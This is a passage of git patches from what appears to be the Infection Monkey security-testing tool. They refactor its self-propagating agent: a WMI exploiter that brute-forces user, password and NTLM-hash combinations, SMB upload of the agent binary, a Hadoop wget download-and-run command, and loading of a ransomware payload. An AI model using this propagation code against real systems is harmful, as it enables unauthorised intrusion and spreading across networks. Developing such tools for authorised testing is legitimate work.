deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d90c8e902..51627d728 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -1,7 +1,7 @@ import logging import threading import time -from typing import Any, Callable, Dict, Iterable, List, Tuple +from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple from infection_monkey.i_control_channel import IControlChannel, IslandCommunicationError from infection_monkey.i_master import IMaster @@ -30,12 +30,14 @@ logger = logging.getLogger() class AutomatedMaster(IMaster): def __init__( self, + current_depth: Optional[int], puppet: IPuppet, telemetry_messenger: ITelemetryMessenger, victim_host_factory: VictimHostFactory, control_channel: IControlChannel, local_network_interfaces: List[NetworkInterface], ): + self._current_depth = current_depth self._puppet = puppet self._telemetry_messenger = telemetry_messenger self._control_channel = control_channel @@ -162,7 +164,9 @@ class AutomatedMaster(IMaster): # still running. credential_collector_thread.join() - current_depth = config["depth"] + current_depth = self._current_depth if self._current_depth is not None else config["depth"] + logger.info(f"Current depth is {current_depth}") + if self._can_propagate() and current_depth > 0: self._propagator.propagate(config["propagation"], current_depth, self._stop) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 155289a31..db32c9703 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -68,6 +68,7 @@ class InfectionMonkey: # TODO used in propogation phase self._monkey_inbound_tunnel = None self.telemetry_messenger = LegacyTelemetryMessengerAdapter() + self._current_depth = self._opts.depth @staticmethod def _get_arguments(args): @@ -93,7 +94,6 @@ class InfectionMonkey: logger.info("Monkey is starting...") - self._set_propagation_depth(self._opts) self._add_default_server_to_config(self._opts.server) self._connect_to_island() @@ -111,14 +111,6 @@ class InfectionMonkey: self._setup() self._master.start() - @staticmethod - def _set_propagation_depth(options): - if options.depth is not None: - WormConfiguration._depth_from_commandline = True - WormConfiguration.depth = options.depth - logger.debug("Setting propagation depth from command line") - logger.debug(f"Set propagation depth to {WormConfiguration.depth}") - @staticmethod def _add_default_server_to_config(default_server: str): if default_server: @@ -179,6 +171,7 @@ class InfectionMonkey: ) self._master = AutomatedMaster( + self._current_depth, puppet, telemetry_messenger, victim_host_factory, diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py index c7023e525..4bb7b4294 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_automated_master.py @@ -14,7 +14,7 @@ INTERVAL = 0.001 def test_terminate_without_start(): - m = AutomatedMaster(None, None, None, MagicMock(), []) + m = AutomatedMaster(None, None, None, None, MagicMock(), []) # Test that call to terminate does not raise exception m.terminate() @@ -34,7 +34,7 @@ def test_stop_if_cant_get_config_from_island(monkeypatch): monkeypatch.setattr( "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, cc, []) + m = AutomatedMaster(None, None, None, None, cc, []) m.start() assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT @@ -73,7 +73,7 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_ "infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL ) - m = AutomatedMaster(None, None, None, cc, []) + m = AutomatedMaster(None, None, None, None, cc, []) m.start() assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT From aef3de1e8ed660c62a0a8ef1577c4ee20aabf5f4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 09:16:50 -0500 Subject: [PATCH 0651/1110] Agent: Remove special depth processing from WormConfiguration --- monkey/infection_monkey/config.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index aba333c5e..5920d1883 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -28,9 +28,6 @@ class Configuration(object): continue if key in LOCAL_CONFIG_VARS: continue - if self._depth_from_commandline and key == "depth": - self.max_depth = value - continue if hasattr(self, key): setattr(self, key, value) else: @@ -70,9 +67,6 @@ class Configuration(object): return result - # Used to keep track of our depth if manually specified - _depth_from_commandline = False - ########################### # logging config ########################### From c886daba8a8891a29a39da3cf1f96ae22800ad0b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 12:35:52 -0500 Subject: [PATCH 0652/1110] Agent: Increase detail of HADOOP_LINUX_COMMAND comment --- monkey/infection_monkey/model/__init__.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 44b09e992..e67ed0cad 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -52,10 +52,18 @@ HADOOP_WINDOWS_COMMAND = ( " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) -# The hadoop server may request another monkey executable -# which results with a zero-size file which needs to be removed, -# this can lead to a race condition when the command is run twice -# so we are adding a 5 seconds sleep to prevent that +# The hadoop server may request another monkey executable after the attacker's HTTP server has shut +# down. This will result in wget creating a zero-length file, which needs to be removed. Using the +# `--no-clobber` option prevents two simultaneously running wget commands from interfering with +# eachother (one will fail and the other will succeed). +# +# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server), +# it needs to remove the file. It sleeps to minimize the risk that the file was created by another +# concurrently running wget and then removes the file if it is still zero-length after the sleep. +# +# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all +# practical purposes. In the future, using randomized names for the monkey binary (which is a good +# practice anyway) would eleminate most of these issues. HADOOP_LINUX_COMMAND = ( "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " From afc43ae8065474e3ce93e0b2bd802d018972e5ae Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 8 Mar 2022 11:30:23 +0200 Subject: [PATCH 0653/1110] Agent: fix a bug in wmi_tools Fix a bug in wmi connection cleanup where incorrect keys were being used on a dictionary --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 078d37daa..b7eaf8675 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -88,7 +88,7 @@ class WmiTools(object): for port_map in list(DCOMConnection.PORTMAPS.keys()): del DCOMConnection.PORTMAPS[port_map] for oid_set in list(DCOMConnection.OID_SET.keys()): - del DCOMConnection.OID_SET[port_map] + del DCOMConnection.OID_SET[oid_set] DCOMConnection.OID_SET = {} DCOMConnection.PORTMAPS = {} From af9736a8ead2429deafd2238bcbf72e793f42106 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 8 Mar 2022 11:31:01 +0200 Subject: [PATCH 0654/1110] Agent: added a todo to assess smb connection timeout --- monkey/infection_monkey/exploit/tools/smb_tools.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 84e1b7e8b..9dd35b02f 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -19,6 +19,7 @@ class SmbTools(object): def copy_file( host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): + # TODO assess the 60 second timeout # monkeyfs has been removed. Fix this in issue #1741 # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) From d7e222c8a8824c003597b7edce3aa553d79e9f5a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 8 Mar 2022 14:15:17 +0200 Subject: [PATCH 0655/1110] Agent: improve logging in wmiexec.py --- monkey/infection_monkey/exploit/wmiexec.py | 58 ++++++++++------------ 1 file changed, 27 insertions(+), 31 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 54095d1e7..758a21fba 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -2,6 +2,7 @@ import logging import ntpath import socket import traceback +from typing import List from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -26,25 +27,12 @@ class WmiExploiter(HostExploiter): @WmiTools.dcom_wrap def _exploit_host(self): - src_path = get_target_monkey(self.host) - - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False creds = self._config.get_exploit_user_password_or_hash_product() for user, password, lm_hash, ntlm_hash in creds: - password_hashed = self._config.hash_sensitive_data(password) - lm_hash_hashed = self._config.hash_sensitive_data(lm_hash) - ntlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash) - creds_for_logging = ( - "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " - "({},{},{},{})".format(user, password_hashed, lm_hash_hashed, ntlm_hash_hashed) - ) - logger.debug( - ("Attempting to connect %r using WMI with " % self.host) + creds_for_logging - ) + creds_for_log = _get_credential_string([user, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") wmi_connection = WmiTools.WmiConnection() @@ -52,26 +40,21 @@ class WmiExploiter(HostExploiter): wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash) except AccessDeniedException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue except DCERPCException: self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) - logger.debug( - ("Failed connecting to %r using WMI with " % self.host) + creds_for_logging - ) + logger.debug(f"Failed connecting to {self.host} using WMI") continue + except socket.error: - logger.debug( - ("Network error in WMI connection to %r with " % self.host) + creds_for_logging - ) + logger.debug(f"Network error in WMI connection to {self.host}") return False + except Exception as exc: logger.debug( - ("Unknown WMI connection error to %r with " % self.host) - + creds_for_logging - + (" (%s):\n%s" % (exc, traceback.format_exc())) + f"Unknown WMI connection error to {self.host}: " + f"{exc} {traceback.format_exc()}" ) return False @@ -82,7 +65,7 @@ class WmiExploiter(HostExploiter): wmi_connection, "Win32_Process", fields=("Caption",), - where="Name='%s'" % ntpath.split(src_path)[-1], + where="Name='{0}'".format(self.options["dropper_target_path_win_64"]), ) if process_list: wmi_connection.close() @@ -90,11 +73,12 @@ class WmiExploiter(HostExploiter): logger.debug("Skipping %r - already infected", self.host) return False - # copy the file remotely using SMB + downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) + remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + downloaded_agent, + self.options["dropper_target_path_win_64"], user, password, lm_hash, @@ -153,3 +137,15 @@ class WmiExploiter(HostExploiter): return success return False + + +def _get_credential_string(creds: List) -> str: + cred_strs = [ + (creds[0], "username"), + (creds[1], "password"), + (creds[2], "lm hash"), + (creds[3], "nt hash"), + ] + + present_creds = [cred[1] for cred in cred_strs if cred[0]] + return ", ".join(present_creds) From c932a19b47e07a1dc53608a725c5e9125f13891e Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 8 Mar 2022 14:56:22 +0200 Subject: [PATCH 0656/1110] Agent: decouple wmiexec.py from WormConfig object --- monkey/infection_monkey/config.py | 14 --------- monkey/infection_monkey/exploit/smbexec.py | 1 + monkey/infection_monkey/exploit/wmiexec.py | 34 ++++++++++++++++++---- 3 files changed, 29 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5920d1883..22df97ca4 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -151,20 +151,6 @@ class Configuration(object): """ return product(self.exploit_user_list, self.exploit_ssh_keys) - def get_exploit_user_password_or_hash_product(self): - """ - Returns all combinations of the configurations users and passwords or lm/ntlm hashes - :return: - """ - cred_list = [] - for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]): - cred_list.append(cred) - return cred_list - @staticmethod def hash_sensitive_data(sensitive_data): """ diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index df027255a..e3e2f0d52 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -52,6 +52,7 @@ class SmbExploiter(HostExploiter): logger.info("Can't find suitable monkey executable for host %r", self.host) return False + # TODO extract the method in wmiexec.py creds = self._config.get_exploit_user_password_or_hash_product() exploited = False diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 758a21fba..cee1eb060 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -2,13 +2,14 @@ import logging import ntpath import socket import traceback -from typing import List +from itertools import product +from typing import List, Mapping from impacket.dcerpc.v5.rpcrt import DCERPCException from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS @@ -28,7 +29,7 @@ class WmiExploiter(HostExploiter): @WmiTools.dcom_wrap def _exploit_host(self): - creds = self._config.get_exploit_user_password_or_hash_product() + creds = _get_exploit_user_password_or_hash_product(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: creds_for_log = _get_credential_string([user, password, lm_hash, ntlm_hash]) @@ -83,20 +84,20 @@ class WmiExploiter(HostExploiter): password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if not remote_full_path: wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + elif remote_full_path.lower() != self.options["dropper_target_path_win_64"]: cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, + self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { @@ -139,6 +140,27 @@ class WmiExploiter(HostExploiter): return False +def _get_exploit_user_password_or_hash_product(credentials: Mapping) -> List: + """ + Returns all combinations of the configurations users and passwords or lm/ntlm hashes + :return: + """ + cred_list = [] + for cred in product( + credentials["exploit_user_list"], credentials["exploit_password_list"], [""], [""] + ): + cred_list.append(cred) + for cred in product( + credentials["exploit_user_list"], [""], [""], credentials["exploit_ntlm_hash_list"] + ): + cred_list.append(cred) + for cred in product( + credentials["exploit_user_list"], [""], credentials["exploit_lm_hash_list"], [""] + ): + cred_list.append(cred) + return cred_list + + def _get_credential_string(creds: List) -> str: cred_strs = [ (creds[0], "username"), From aa5220b04ae414e0b4a7741ba122f755ecf91a81 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 8 Mar 2022 15:11:21 +0200 Subject: [PATCH 0657/1110] Agent: modify wmiexec.py to return ExploitResultData --- monkey/infection_monkey/exploit/wmiexec.py | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index cee1eb060..cbf34d448 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -12,6 +12,7 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.utils.commands import build_monkey_commandline @@ -23,11 +24,8 @@ class WmiExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" - def __init__(self, host): - super(WmiExploiter, self).__init__(host) - @WmiTools.dcom_wrap - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: creds = _get_exploit_user_password_or_hash_product(self.options["credentials"]) @@ -50,16 +48,17 @@ class WmiExploiter(HostExploiter): except socket.error: logger.debug(f"Network error in WMI connection to {self.host}") - return False + return self.exploit_result except Exception as exc: logger.debug( f"Unknown WMI connection error to {self.host}: " f"{exc} {traceback.format_exc()}" ) - return False + return self.exploit_result self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) + self.exploit_result.exploitation_success = True # query process list and check if monkey already running on victim process_list = WmiTools.list_object( @@ -72,7 +71,7 @@ class WmiExploiter(HostExploiter): wmi_connection.close() logger.debug("Skipping %r - already infected", self.host) - return False + return self.exploit_result downloaded_agent = self.agent_repository.get_agent_binary(self.host.os["type"]) @@ -89,7 +88,7 @@ class WmiExploiter(HostExploiter): if not remote_full_path: wmi_connection.close() - return False + return self.exploit_result # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self.options["dropper_target_path_win_64"]: cmdline = DROPPER_CMDLINE_WINDOWS % { @@ -119,7 +118,7 @@ class WmiExploiter(HostExploiter): ) self.add_vuln_port(port="unknown") - success = True + self.exploit_result.propagation_success = True else: logger.debug( "Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " @@ -130,14 +129,12 @@ class WmiExploiter(HostExploiter): result.ReturnValue, cmdline, ) - success = False result.RemRelease() wmi_connection.close() self.add_executed_cmd(cmdline) - return success - return False + return self.exploit_result def _get_exploit_user_password_or_hash_product(credentials: Mapping) -> List: From 6862ef39ee171ce4ab0f6938a2279b3d482a151c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 14:42:00 -0500 Subject: [PATCH 0658/1110] Agent: Load WMIExploiter into puppet --- monkey/infection_monkey/monkey.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index db32c9703..218b0e92a 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -212,17 +213,14 @@ class InfectionMonkey: ) exploit_wrapper = ExploiterWrapper(self.telemetry_messenger, agent_repository) - puppet.load_plugin( - "SSHExploiter", - exploit_wrapper.wrap(SSHExploiter), - PluginType.EXPLOITER, - ) puppet.load_plugin( "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER ) puppet.load_plugin( "Log4ShellExploiter", exploit_wrapper.wrap(Log4ShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) + puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From e76b46c8ca4326538efa77e877554edb9c9395b7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 15:13:00 -0500 Subject: [PATCH 0659/1110] Island: Add smb_download_timeout to SMB and WMI exploiter options --- monkey/monkey_island/cc/services/config.py | 16 +++++++++++++++- .../monkey_island/cc/services/test_config.py | 4 ++-- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 94c4e96ec..f90df6847 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -629,4 +629,18 @@ class ConfigService: config.pop(flat_config_exploiter_classes_field, None) - return formatted_exploiters_config + return ConfigService._add_smb_download_timeout_to_exploiters( + config, formatted_exploiters_config + ) + + @staticmethod + def _add_smb_download_timeout_to_exploiters( + flat_config: Dict, formatted_config: Dict + ) -> Dict[str, List[Dict[str, Any]]]: + new_config = copy.deepcopy(formatted_config) + uses_smb_timeout = {"SmbExploiter", "WmiExploiter"} + + for exploiter in filter(lambda e: e["name"] in uses_smb_timeout, new_config["brute_force"]): + exploiter["options"]["smb_download_timeout"] = flat_config["smb_download_timeout"] + + return new_config diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index d8391717e..72dafd168 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -180,8 +180,8 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): {"name": "MSSQLExploiter", "options": {}}, {"name": "PowerShellExploiter", "options": {}}, {"name": "SSHExploiter", "options": {}}, - {"name": "SmbExploiter", "options": {}}, - {"name": "WmiExploiter", "options": {}}, + {"name": "SmbExploiter", "options": {"smb_download_timeout": 300}}, + {"name": "WmiExploiter", "options": {"smb_download_timeout": 300}}, ], "vulnerability": [ {"name": "DrupalExploiter", "options": {}}, From 98f8a5b48aa01bd94276c049a5db67ebff3af5a0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 15:15:37 -0500 Subject: [PATCH 0660/1110] Agent: Fix malformed WMI query in WMIExploiter --- monkey/infection_monkey/exploit/wmiexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index cbf34d448..e98cfa62f 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -65,7 +65,7 @@ class WmiExploiter(HostExploiter): wmi_connection, "Win32_Process", fields=("Caption",), - where="Name='{0}'".format(self.options["dropper_target_path_win_64"]), + where=f"Name='{ntpath.split(self.options['dropper_target_path_win_64'])[-1]}'", ) if process_list: wmi_connection.close() From f57977dd53b91686bb0ac9c49c563411679e5732 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 15:36:25 -0500 Subject: [PATCH 0661/1110] Agent: Add missing return to WmiExploiter --- monkey/infection_monkey/exploit/wmiexec.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index e98cfa62f..ee92d29ed 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -133,6 +133,7 @@ class WmiExploiter(HostExploiter): result.RemRelease() wmi_connection.close() self.add_executed_cmd(cmdline) + return self.exploit_result return self.exploit_result From 77f58b942b74b411e1b3643631a6c4549feadcbd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 8 Mar 2022 15:46:26 -0500 Subject: [PATCH 0662/1110] Agent: Remove monkeyfs references in smb_tools.py --- .../exploit/tools/smb_tools.py | 24 +++++++++---------- 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 9dd35b02f..6cbb16780 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -1,6 +1,7 @@ import logging import ntpath import pprint +from io import BytesIO from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 @@ -17,11 +18,16 @@ logger = logging.getLogger(__name__) class SmbTools(object): @staticmethod def copy_file( - host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + host, + agent_file: BytesIO, + dst_path, + username, + password, + lm_hash="", + ntlm_hash="", + timeout=60, ): # TODO assess the 60 second timeout - # monkeyfs has been removed. Fix this in issue #1741 - # assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -139,21 +145,15 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) try: - # monkeyfs has been removed. Fix this in issue #1741 - """ - with monkeyfs.open(src_path, "rb") as source_file: - # make sure of the timeout - smb.setTimeout(timeout) - smb.putFile(share_name, remote_path, source_file.read) - """ + smb.setTimeout(timeout) + smb.putFile(share_name, remote_path, agent_file.read) file_uploaded = True T1105Telem( ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path ).send() logger.info( - "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, + "Copied monkey agent to remote share '%s' [%s] on victim %r", share_name, share_path, host, From dc1a2ab1c1db7f542469ba30029f563f75299366 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 9 Mar 2022 12:12:01 +0200 Subject: [PATCH 0663/1110] Agent: move brute-force input generation from wmiexec to brute_force --- monkey/infection_monkey/exploit/smbexec.py | 2 +- monkey/infection_monkey/exploit/wmiexec.py | 43 +++----------------- monkey/infection_monkey/utils/brute_force.py | 15 ++++++- 3 files changed, 21 insertions(+), 39 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index e3e2f0d52..35c45c773 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -52,7 +52,7 @@ class SmbExploiter(HostExploiter): logger.info("Can't find suitable monkey executable for host %r", self.host) return False - # TODO extract the method in wmiexec.py + # TODO use infectionmonkey.utils.brute_force creds = self._config.get_exploit_user_password_or_hash_product() exploited = False diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index ee92d29ed..43d3058b6 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -2,8 +2,6 @@ import logging import ntpath import socket import traceback -from itertools import product -from typing import List, Mapping from impacket.dcerpc.v5.rpcrt import DCERPCException @@ -14,6 +12,10 @@ from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS +from infection_monkey.utils.brute_force import ( + generate_username_password_or_ntlm_hash_combinations, + get_credential_string, +) from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -27,10 +29,10 @@ class WmiExploiter(HostExploiter): @WmiTools.dcom_wrap def _exploit_host(self) -> ExploiterResultData: - creds = _get_exploit_user_password_or_hash_product(self.options["credentials"]) + creds = generate_username_password_or_ntlm_hash_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: - creds_for_log = _get_credential_string([user, password, lm_hash, ntlm_hash]) + creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") wmi_connection = WmiTools.WmiConnection() @@ -136,36 +138,3 @@ class WmiExploiter(HostExploiter): return self.exploit_result return self.exploit_result - - -def _get_exploit_user_password_or_hash_product(credentials: Mapping) -> List: - """ - Returns all combinations of the configurations users and passwords or lm/ntlm hashes - :return: - """ - cred_list = [] - for cred in product( - credentials["exploit_user_list"], credentials["exploit_password_list"], [""], [""] - ): - cred_list.append(cred) - for cred in product( - credentials["exploit_user_list"], [""], [""], credentials["exploit_ntlm_hash_list"] - ): - cred_list.append(cred) - for cred in product( - credentials["exploit_user_list"], [""], credentials["exploit_lm_hash_list"], [""] - ): - cred_list.append(cred) - return cred_list - - -def _get_credential_string(creds: List) -> str: - cred_strs = [ - (creds[0], "username"), - (creds[1], "password"), - (creds[2], "lm hash"), - (creds[3], "nt hash"), - ] - - present_creds = [cred[1] for cred in cred_strs if cred[0]] - return ", ".join(present_creds) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index 192905aa8..ce5a895c1 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -1,5 +1,5 @@ from itertools import chain, product -from typing import Any, Iterable, Tuple +from typing import Any, Iterable, List, Tuple def generate_identity_secret_pairs( @@ -38,3 +38,16 @@ def generate_username_password_or_ntlm_hash_combinations( product(usernames, [""], lm_hashes, [""]), product(usernames, [""], [""], nt_hashes), ) + + +# Expects a list of username, password, lm hash and nt hash in that order +def get_credential_string(creds: List) -> str: + cred_strs = [ + (creds[0], "username"), + (creds[1], "password"), + 